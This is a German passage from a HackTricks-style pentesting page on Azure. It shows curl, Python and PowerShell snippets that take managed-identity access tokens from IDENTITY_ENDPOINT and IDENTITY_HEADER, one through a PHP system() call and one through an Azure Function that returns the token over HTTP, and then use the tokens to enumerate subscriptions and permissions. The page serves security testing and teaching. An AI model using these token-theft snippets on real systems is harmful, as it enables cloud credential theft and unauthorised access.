Az - Services

Unterstütze HackTricks

Portale

Du findest die Liste der Microsoft-Portale unter https://msportals.io/

Rohe Anfragen

Azure API via Powershell

Hole access_token von IDENTITY_HEADER und IDENTITY_ENDPOINT: system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');.

Dann die Azure REST API abfragen, um die subscription ID und mehr zu erhalten.

$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# List resources and check for runCommand privileges
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'

Azure API via Python Version

import requests

# Azure API-Endpunkt
url = "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-name}?api-version=2019-08-01"

# Authentifizierungstoken
headers = {
    'Authorization': 'Bearer {access-token}',
    'Content-Type': 'application/json'
}

# API-Anfrage
response = requests.get(url, headers=headers)

# Antwort anzeigen
print(response.json())

In diesem Beispiel wird die Azure API verwendet, um Informationen über eine bestimmte Web-App abzurufen. Ersetzen Sie {subscription-id}, {resource-group-name}, {app-name} und {access-token} durch die entsprechenden Werte.

IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

print("[+] Management API")
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

print("\r\n[+] Graph API")
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

oder innerhalb einer Python-Funktion:

import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Python HTTP trigger function processed a request.')
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
return func.HttpResponse(val, status_code=200)

Liste der Dienste

Die Seiten dieses Abschnitts sind nach Azure-Dienst geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und seine Fähigkeiten) sowie Anleitungen zur Aufzählung jedes Dienstes.

Unterstütze HackTricks

Last updated